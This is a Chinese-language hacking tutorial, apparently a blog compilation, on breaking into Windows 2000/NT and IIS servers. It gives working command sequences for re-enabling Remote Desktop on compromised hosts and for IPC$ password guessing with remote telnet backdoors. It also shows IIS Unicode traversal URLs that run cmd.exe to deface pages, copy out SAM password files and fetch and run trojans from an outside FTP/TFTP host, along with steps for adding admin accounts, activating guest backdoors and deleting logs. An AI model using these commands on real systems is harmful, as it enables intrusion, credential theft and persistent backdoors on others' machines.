方法一:安装服务
我知道很多人都有format 硬盘的坏习惯，我以前也有，现在彻底改邪归正了。如果找到一台有漏洞的机器（我这里专指可以拿到权限的win2K机器），由于没有开现成的端口，而轻易黑掉，是很可惜的。他没有开，我们可以给他开嘛。
对于win2000，很多人进去都喜欢net start TermService，一般由于该服务被禁用，是开启不成功的，那么我们想一点别的办法。：）
我们会用Windows 2000下的Resource Kits中的一个工具instsrv创建一个服务，instsrv的用法如下，当然，你也可以用其他的工具来实现（如srvinstw，GUI方式的）。
C:\>instsrv
Installs and removes system services from NT
INSTSRV <service name> (<exe location> | REMOVE)
[-a <Account Name>] [-p <Account Password>]
Install service example:
INSTSRV MyService C:\MyDir\DiskService.Exe
-OR-
INSTSRV MyService C:\mailsrv\mailsrv.exe -a MYDOMAIN\joebob -p foo
Remove service example:
INSTSRV MyService REMOVE
大家现在明白了吧？
先instsrv TermService REMOVE然后给他再装上终端服务instsrv Winlogonservice c:\winnt\system32\termsrv.exe
嘿嘿，只要c:\winnt\system32\termsrv.exe存在，就可以给他装上一个叫做Winlogonservice的服务，而且是自动启动，哈哈～～
不妨在送个reboot.exe给他，然后用at \\xxx.xxx.xxx.xxx 23:30 reboot.exe
这样他重启过后我们就能连接他的3389了。：）
方法二:对于终端服务设置为已禁止的机器
使用win2000无人职守工具sysocmgr.exe:
echo [Components] > c:\bootlog.txt
echo TSEnabled = on >> c:\bootlog.txt
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\bootlog.txt /q
sysocmgr的用法请自己到命令行下输入 sysocmgr[回车] 看看帮助，写得很清楚，上面的参数大致不变；如果你不想对方马上重启，输入 /r 选项，拟制重启(防止被发现)：
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\bootlog.txt /q /r
方法三:修改对方服务设置或者直接修改注册表（成功率相对较低）
1、在regedit中菜单“注册表”－》“连接网络注册表”HKEY_LOCAL_MACHINE－》SYSTEM－》CurrentControlSet－》Services－》Termservice,将start键值修改为2－》退出regedit
想办法让对方机器重启（reboot.exe很管用）
2、我的电脑－》管理－》服务－》Terminal Services－》属性－》自动－》确定－》启动Terminal Services（成功率不是很高）
进入肉鸡后，请大家帮助升级，打补丁，堵漏洞（肉鸡多半也是国内的嘛），然后她就会为你忠实服务了。
对于sa弱密码进入系统的菜鸟，记得到 开始－》程序－》mssql server->enterprise management->。。。。－》security->logins里面给自己加个帐户（不要是DBO，会有麻烦），当然权限和sa相 同，然后修改sa密码(嘿嘿，独占，这样“她的眼里只有你”)。
======== 续 ＝＝＝＝＝
1）所谓“万能3389攻击”的具体攻击办法：
3389连接目标的时候，点击服务器地址栏，点击任务栏输入法，选择清华紫光（或者别的什么鸟输入法，只要能看帮助就行）；
连接到3389服务器，如果对方刚好有这个输入法，那么就用输入法漏洞利用方法一样（差别是有的，关键在：找到什么地方有“打开文件”或者“保存文件”对话框出现）；
2）漏洞存在的原因及解决思路：
鉴于第三方输入法都是系统及相关应用软件（SQL server 、IIS、补丁等）装好后才考虑的事情，这个帮助文件一般也不是放在%systemroot%\help下面，所以删除这个目录下面的win*是没有用 的，必须到安装目录去删除.cnt或者*.hlp文件才行。
说得科学一点是这样：第三方软件设计缺陷导致系统出现漏洞；说得玄乎一点就是系统打不打补丁都一样能黑。由于第三方软件不在MS Service pack范围内，当然与sp 无关。
听着这两种表示方式，大家觉得那样比较好？ （我认为科学得态度是首要的，不要学李红痔故弄玄虚，把握事情本质才是我们追求的）
3）体验
这是输入法漏洞利用的延伸，我曾经用清华紫光的这个帮助里面的“添加打印机”（好像是）然后弹出的”保存文件“对话框内，找个可执行文件，右键点击－》 “建立快捷方式”－》快捷方式“属性”＝》net user ......－》确定－》右键点击－》打开（也就是执行）成功进入过一些机器。
4）题外话
另外，除非你运气特别好，否则比较难遇到，因为服务器上装东西的原则是：只要够用就行。
其 实“口令入侵”这个主题网上有很多现成的教程，我在这里把它整理一下。不管是破解FTP口令还是TELNET口令，最终的目的都是为了取得系统控制权，成 为administrators/root用户。对windows2000/NT来说，获得其管理员身份无非三种途径：一是得到SAM._文件，然后用 10phtcrack之类的工具来暴力破解；二是用流光之类的工具对目标系统的简单IPC$、FTP密码、SQL密码等进行扫描探测；三是通过系统漏洞， 绕过系统身份认证以管理员身份进去，然后添加一个administrators组的用户和密码。第一种方法需费很多时间，只要得到了SAM._文件，成功 几率倒也不小；第二种方法只对那些粗心大意的网络管理员有用，譬如他将密码设置为1234，那用流光很快就能探测出来；第三种方法最为常见，寻找系统漏 洞，然后尝试入侵，一直以来是网上入侵者们的兴趣所在，而且成功概率也高。对于UNIX/Linux系统，获取一个root权限要困难得多，通过查看一些 资料，我发现这类入侵都遵循这么一个思路：1、扫描远程系统，试图发现漏洞，如rpc漏洞、FTP匿名登陆等。2、finger远程系统，尝试获得其用户 列表。3、根据已获得资料试图得到远程系统的一个shell。这一步很重要，黑客的技术水平如何就体现在这里了，一些高明的黑客利用极其简单的一个系统弱 点就能得到一个自己想要的shell。4、得到shell后，黑客就可以远程rsh或rlogin过去了，然后查看系统版本信息，根据已有的经验判断该版 本系统可能存在的缓冲区溢出漏洞。5、查找系统可写入目录，并判断自己是否有可编译权限。6、当这一切完成后，黑客就上传一个溢出程序，在远程主机上编译 并执行，从而利用溢出漏洞得到root权限。7、留下后门，清除日志
一、WINDOWS系统口令入侵
对于WIN2000/NT系 统的口令入侵已讲得太多，我也不愿意将旧的故事一遍又一遍的重提。一般来说，这类入侵具体有这么几种手法：1、通过IPC$口令破解入侵；2、利用 Unicode漏洞尝试入侵；3、利用开放终端服务和输入法漏洞入侵；4、利用IIS远程溢出漏洞入侵；5、利用SQL弱口令入侵。下面我简要介绍这5种 入侵过程，看完后你会发现，原来进入远程系统是如此容易。
1、IPC$入侵：IPC$是指进程间的通信，win2000/NT主机之间通过它来实现数据交换。而利用这一特征还在于2000/NT系统有一个默认的隐藏共享，这个共享被设计的初衷是为了方便管理员远程管理操作系统的，现在却被黑客拿来实现他们的目的。
开启流光，选择“探测->扫描POP3/FTP/NT/SQL主机”，在“开始地址”和“结束地址”里都填入目标地址：192.168.4.95，在“扫描主机类型”下拉菜单里选择“NT/98”，点“确定”开始扫描。
经过几秒钟后，192.168.4.95 这台主机就出现在左边的主机类型“IPC$主机”里。选择这台主机，点击右键，在弹出的下拉菜单里选择“探测->探测IPC用户列表”。
开 始探测，只要用户的密码字典里包含目标主机的密码，则流光迟早能探测出来，探测时间的长短取决于用户的密码字典大小和攻击机器的运行速度；典型的黑客字典 都有十几兆大小，这样探测起来就需要很长（可能是几天）的时间。经过几分钟的探测后，我们发现，流光已成功的探测到了目标主机的三个密码，其中包括系统管 理员Administrator密码：cell.
好了，有了目标主机的系统管理员密码后，这台主机就已经完全控制在我们手中了。下面说明如何利用流光探测到的密码从IPC$入侵主机.
开DOS窗口，先PING一下目标主机：192.168.4.95，看看TTL值为128，可以判定这台主机为NT/WIN2000系统了，正是我们所要。用如下命令：
c:\>net use \\192.168.4.95\ipc$ “cell” /user:”administrator”
提示：命令运行成功。已经成功的和目标主机建立连接。
复制一个Telnet程序上去(小榕流光安装目录下的Tools目录里的Srv.exe) ，这个程序是在目标系统上开一个Telnet服务，端口是99。
c:\>cd tools
c:\>tools>copy .\srv.exe \\192.168.4.95\admin$\system32
admin$是ＮＴ的默认的隐藏共享，他对应的是ＮＴ安装目录里的system32目录．通常是在c:\winnt\system32，你也可以用C$ , D$ 他们分别代表盘符C盘，D盘．都是系统的默认共享。
显示：已复制 1个文件。文件复制成功。
下面我们需要远程启动这项服务，利用WIN2000的SCHEDULE（定时）服务来启动这个程序。先看一下目标系统的时间：
c:\>net time \\192.168.4.95
显示：
\\192.168.4.95的当前时间是2001/10/22上午10：00
命令成功完成。
下面设定目标系统的TELNET服务在指定时间内启动，用at命令：
c:\>at \\192.168.4.95 10:02 srv.exe
显示：
新加了一项作业，作业ID=1。
说明命令成功执行，下一步就等到服务启动后TELNET上去。
2分钟后，可以TELNET了：
c:\>telnet 192.168.4.95 99
（srv.exe开的端口是99.这里我们就telnet 192.168.4.95 99）
这个程序好在不用输入口令和没有日志记录．但是每一次使用后都会自动关闭，下次要用时要重新启动，才能再用。
我们看到如下界面：
Microsoft Windows 2000 [version 5.00.2195]
<c>版权所有 1985-2000 Microsoft Corp.
C:\WINNT\system32\>
这样，我们就成功的登陆上去了。
由于我们已经是系统的管理员，所以有权在目标主机上做任何事，包括创建文件、删除文件、给文件该名、创建、删除用户帐号等。至此，目标系统再无任何安全可言。
当然，我们还可以以目标系统为跳板，进一步入侵别的系统。
另开一个DOS窗口，先复制TOOLS目录下的另一个文件NTLM.EXE上去：
c;\tools\>copy .\ntlm.exe \\192.168.4.95\admin$\system32
这个程序是用来改变WIN2000 TELNET SERVER 的身份验证方式，将其改为明文验证。
回到前一个DOS窗口，执行NTLM：
C:>ntlm
有提示字符显示命令成功完成。
然后我们重启一下TELNET 服务，用如下命令行：
c:\>net stop telnet
然后再：
c:\>net start telnet
提示：
TELNET 服务已经成功启动。
这样，你就可以以它为跳板，入侵别的主机了。
再次登陆本身：
C:\>telnet 192.168.4.95
要求输入用户名和口令。输入用户名administrator和 口令：cell，回车后登陆成功了。到此为止，我们已经完全取得了目标系统的控制权，一次入侵成功。
我们希望黑客到此为止就罢手了，可是他会罢手吗？不会。他还会在系统里留下几个后门，这样就算管理员密码被改了他也可以利用自己设置的后门进到系统。通常的，他会把系统guset帐号激活并加入管理员组，在TELNET终端下输入如下命令：
c:\>net user guest /active:yes
c:\>net user guest 1234
c:\>net localgroup administrators guest /add
这样他下次就可以用guset用户名，密码1234以系统管理员身份登陆了。
当然，不要忘了擦除痕迹，把c:\winnt\system32\logfiles\w3svc1\下的文件都给删了吧。
要防止这类入侵，第一是要将系统密码设置得复杂一些，不要使用生日和常用字符作为密码，而使用字母和数字的组合如lo3v4e之类的密码则普通的流光探测就无能为力了。第二是更改注册表，禁止建立空连接和禁止管理共享
2、Unicode漏洞入侵：
这类入侵在网上提得实在太多了，我也没心思写出更好的教材，下面转一篇：
首先我们来看看这个漏洞的原理。
在中文版的IIS4，和ISS5中，存在一个BUG，原因是UNICODE编码 存在BUG 在UNICODE 编码中，发现了一个奇怪的编码方式，
例如：
%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
IIS 把 "%c1%hh" 编码成
(0xc1 -0xc0) * 0x40 + 0xhh.
例如 (Windows 2000 + IIS 5.0 + SP1 简体中文版):
http://192.168.8.48/A.ida/%c1.ida
IIS 将返回"@.ida" 找不到该文件 在这里 （0xc1-0xc0)*0x40+0x00=0x40='@'
http://192.168.8.48/A.ida/%c1%01.ida
IIS 将返回 "A.ida" 找不到该文件 这里 （0xc1-0xc0)*0x40+0x01=0x41='A'
http://192.168.8.48/A.ida/%c1%02.ida
IIS 将返回 "B.ida" 找不到该文件 ....
http://192.168.8.48/A.ida/%c0%21.ida
IIS 将返回 "!.ida" 找不到该文件
这就意味着你能利用这些编码的特点。
例如：
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
所以我们就可以用这种方法进入一些目录。
(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
这样我们将得到
Directory of d:\inetpub\scripts
2000-09-28 15:49 〈DIR〉
. 1999-07-21 17:49 147,456
Count.exe 2000-09-12 17:08 438,290
Count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
CountNT.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:18 1,317
README.txt 2000-09-28 15:49
〈DIR〉 wcount 9 File(s) 935,233 bytes
(2) 我们也可以利用此BUG得到一些系统文件的内容
http://192.168.8.48/a.asp/..%c1%1c../..%c1..../winnt/win.ini
IIS 将把它当作 a .ASP 文件提交.它将让 asp.dll 来打开文件win.ini
如果用 IIS 4.0+SP6(中文版), 将不能测试成功 但是我们能用下列方法得到。http://192.168.8.100/default.asp/a.exe/.. ../.. ../winnt/winnt.ini
"default.asp" 是一个存在的 .ASP 文件， "a.exe" 是一个随机的 .EXE 文件名. 它可以不存在。
打上SP1仍然还有这种编码问题。
在英文版本中使用 %c1%af 能正常利用这个漏洞。
2.了解了漏洞的详细资料。让我们来说说怎么利用。
a.利用IISExploitSearcher工作之便这个软件，我们来找有这个漏洞的主机。
虽然这个漏洞公布很久了， 但你仍然会发现，你可以找到很多这种机器。
假如我们已经找到了一台有这个漏洞的机器。
让我们来进行下面的操作。
b.http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe
这个URL语句的执行的命令是：利用NT/2000下的命令解释程序cmd.exe来执行一个拷贝命令。
copy c:\winnt\system32\cmd.exe ccc.exe
它把c:\winnt\system32\cmd.exe 拷贝到了c:\inetpub\scripts\ccc.exe
就是DOS命令中的空格，在URL中就要换成“+”号。
你要执行copy c:\winnt\system32\cmd.exe ccc.exe
相对应的是http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe
其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的，他的作用是调用c:\winnt\system32\cmd.exe来执行命令。
噢，忘了说为什么要拷贝cmd.exe了。
因为微软的iis加载程序的时候检测到有串cmd.exe的话就要检测特殊字符“&|(,;%<>”，所以必须改名。
c.这时c:\winnt\system32\cmd.exe已经拷贝到了c:\inetpub\scripts\ccc.exe
通过http://ip/scripts/ccc.exe?/c
我们就可以调用到cmd.exe了，就是说不用那个编码了。
+c:\inetpub\wwwroot\default.asp">http://ip/scripts/ccc.exe?/c+echo+Hacked+by+Lion+>+c:\inetpub\wwwroot\default.asp
>+c:\inetpub\wwwroot\default.asp">http://192.168.8.48/scripts/ccc.exe?/c+echo+20/10/2000+>>+c:\inetpub\wwwroot\default.asp
主页面就被修改成了：
Hacked by Lion
20/10/2000
也就是说，已经把他的主页黑了。
：P
下面是一些解释。
其中echo 是一个回显命令。
你在DOS下打一个echo Hacked by Lion 看看。
它是在屏幕上显示
Hacked by Lion
不只这样
你也可以让它把东西写进一个文件。
echo Hacked by Lion > lion.txt
这样当前目录下的lion.txt文件里就有了Hacked by Lion的字样。
其中 > lion.txt的用途是把回显的字符写进lion.txt,它覆盖原来的内容。
你如果再想用echo 20/10/2000 > lion.txt 来写剩下的内容的话，
你会发现它覆盖了原来的内容Hacked by Lion。
怎么办呢？别急！
echo Hacked by Lion > lion.txt
echo 20/10/2000 >> lion.txt
看看吧
文件里面的是
Hacked by Lion
20/10/2000
成功了。
这样，就可以用上面的解释，把空格用"+"代替，就可以向别人的主页写任何东西了。
补充一点
好多站点\inetpub\下的scripts目录删除了， 但\Program Files\Common Files\System\下 的msadc还在
（有msadcs.dll漏洞的话就不用 %c1%1c了）。
这时可以如下构造请求：
http://ip/msadc/..%c1%1c../..%c1%1c../..%c.../c+dir+c:\
就能调用到cmd.exe
3.当然，我们也不能只停留在黑主页的地步，当然想进一步控制整个机器了。
：P
下面来说说几种方法来控制这个机器。
a. 如果c:\winnt\repair\sam._存在
那么我们把copy c:\winnt\repair\sam._ c:\inetpub\wwwroot\
然后用浏览器下载，用破NT密码的工具，比如l0phtcrack来破。
b.上载文件
1.找一个ftp服务器，将须上载的文件copy 到ftp服务器上，
假设这个 ftp server的 ip:127.1.1.1 ,username:abc,password:bbb 文件名：srv.exe
2.编辑一个上载执行文件
+up.txt">http://ip/scripts/ccc.exe?/c+echo+open+home4u.china.com>+up.txt
>+up.txt">http://ip/scripts/ccc.exe?/c+echo+pppppppppp>>+up.txt (>>号前不要有空格）
>+up.txt">http://ip/scripts/ccc.exe?/c+echo+pppppppppp>>+up.txt
http://ip/scripts/ccc.exe?/c+echo+get srv.exe>>+up.txt
>+up.txt">http://ip/scripts/ccc.exe?/c+echo+quit>>+up.txt
http://ip/scripts/ccc.exe?/c+tp+-s:up.txt
如果你看不懂上面的命令。
你在DOS下打一个ftp /?看看。
：P
成功率很高的哦。
3.然后http://ip/scripts/srv.exe运行它。
srv.exe是我放的一个冰河服务端。
下面不用我说了吧。
用冰河客户端连接他就可以了。
：P
顺便说一下
冰河的公用密码是：
05181977
他有70%左右的成功率。
subseven的共用密码是：
abuse
4.当然你也可以给他中一个nc99.exe等的东西。
获取administrator权限
上载getadmin.exe
getadmin iusr_机器名
这一招不一定有效哦。
http:/ip/scripts/ccc.exe?/c+net+user+aaa+12345+/add
http:/ip/scripts/ccc.exe?/c+net+localgroup+administrators+aaa+/add
c. 当然我们也有其他方法来上传文件。
前一段时间黑了几个台湾网站，net use也练得比较熟了。
看到有一个类似的教程用net use。
我也试了一下，累试不爽。呵呵
找个中转站，利用net use来上传文件。
我们要用到legion。
legion是一个扫描共享的软件。
你通过用它，你会找到一大堆的蠢伙。把整个C.D盘共享，并且不用密码的。
当然，设置密码也是没用的。呵呵猜26个字母就搞掂了。当然这要用另外一个软件。：P，在这就不说了。
找到后C盘或D盘后，
net use g: \\x.x.x.x\d
把他的d映射成你的g:盘。
现在我们来把东西拷贝到他的D盘，也就是你的G盘。
copy e:\tools\srv.exe \
拷贝一个文件，随便你哦。：P
你也可以在我的电脑里把它拖过去就可以了。：P
操作完成就不管他了。
让我们来回到服务器上操作。
1http://x.x.x.x/scripts/ccc.exe?/c+net+use+g:+\\10.1.1.1\d
建立连接和映射。
这个过程时间可能会长一点，耐心等等。
2http://x.x.x.x/scripts/ccc.exe?/c+dir+g :
看看东西在不在哦：P
3http://x.x.x.x/scripts/ccc.exe?/c+g:\srv.exe
直接运行就可以了。
：P
又一个中了木马。
但我不能保证它能100%成功哦。
d.用TFTP上传文件。
但具体怎么用我没试过。：（
谁知道的写信告诉我。
近来安全类技术网站提得最多的技术漏洞莫过于 %c1%1c 的问题。
%c1%1c，中文简体里面没有这种字，照正常的情况根据内码转换文件
\winnt\system32\c_936.nls会编码成“？”。但对中文简体版IIS中
c1 1c解码成了（c1-c0)*40+1c=5c=“\”。此编码发生在IIS检测处理路
径串中的“..\”之后，所以可以突破IIS路径访问到上级目录。此漏洞
从中文IIS4.0+SP6开始，还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0
+SP1，好像台湾繁体中文也受此漏洞影响。
执行：http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32
/cmd.exe?/c+dir%20c:\发现列出了远程主机C:\下的所有文件，执行：http://xxx.xxx.xxx.xxx/scripts/.. ../winnt/system32/cmd.exe?/c
+copy%20c:\autoexec.bat%20c:\autoexec.bak 成功实现文件的复制，
执行：http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/
cmd.exe?/c+del%20c:\autoexec.bak 成功实现文件的删除，哇！太利害了。
随便浏览了一下，因为是国内的主机，不想搞破坏，只想练练手！目的：
获得Administrator权限。
执行：http://xxx.xxx.xxx.xxx/scripts/..%c1%1c../winnt/system32/
cmd.exe?/c+copy%20c:\winnt\repair\sam._%20c:\inetpub\wwwroot\
把sam._文件拷贝到wwwroot文件内，输入：http://xxx.xxx.xxx.xxx/sam._
将sam._文件下载到本地，执行：http://xxx.xxx.xxx.xxx/scripts/.. ../winnt/system32/cmd.exe?/c
+del%20c:\inetpub\wwwroot\sam._清除痕迹。
在本机执行：C:>expand sam._ sam
启动l0phtcrack 2.5(可到http://rina.yofor.com/7index.html 下载)，Import Sam File... 导入sam文件，Open Wordlist File...
打开一个字典，Run Crack，乖乖，要17个小时，不管它，让它慢慢破去，先睡个
觉先！五分钟后来一看，Administrator 的 Nt Password 居然是 123456，我昏，
网管们注意了，这种密码也可以取呀？执行：C:\>newletmein \\xxx.xxx.xxx -admin
扫描主机，发现管理员ID是：asdfghjk,执行：C:\>net use \\xxx.xxx.xxx.xxxc$
123456 /user:asdfghjk 成功联上对方主机，大功告成！
文中提及的FTP上传现在不太用了，都改用TFTP上传。我简要说一下TFTP的使用方法：
首先使自己的系统配置成为TFTP服务器。这个很好办，下载一个TFTP服务器在本机运行起来。然后在存在U漏洞的目标主机浏览器里输入：
http://192.168.4.95/scripts/..%c1%1c../win...2;\srv.exe
这里的srv.exe是你想要放的木马程序。注意：要上传的文件必须和TFTP服务器在同一目录下。192.168.4.95是对方IP，192.168.4.91是自己IP。然后通过浏览器来执行这个木马：
http://192.168.4.95/scripts/..%c1%1c../win....exe?/c+srv.exe
回车后木马就在远程主机上运行了。以后能做什么事就取决于该木马的功能。
当然，也可以通过TFTP来下载，譬如说我想把它的c:\winnt\repair\SAM._文件down下来，就在浏览器里这样输入：
http://192.168.4.95/scripts/..%c1%1c../win...repair\sam
这样SAM文件就被下载到本地TFTP的同一个目录里。
当然也可以先把目标主机的SAM文件复制到c:\inetpub\wwwroot\，然后通过浏览器来下载。这样做：
http://192.168.4.95/scripts/..%c1%1c../win...2;wwwroot\
这样就把c:\winnt\repair\里的sam文件拷贝到c:\Inetpub\wwwroot\下，利用浏览器把它下载来。在地址栏里输入：
http://192.168.4.95/sam
回车后SAM文件就被下载到本地了。
然后用10phtcrack这样的工具进行破解。10phtcrack是大名鼎鼎的破NT密码的工具，成功率很高，一般的密码被破解出来只是时间长短的问题。得到管理员密码后，就可以参考前一种方法进一步入侵系统了.
related post: http://briteming.blogspot.com/2012/12/blog-post_6978.html
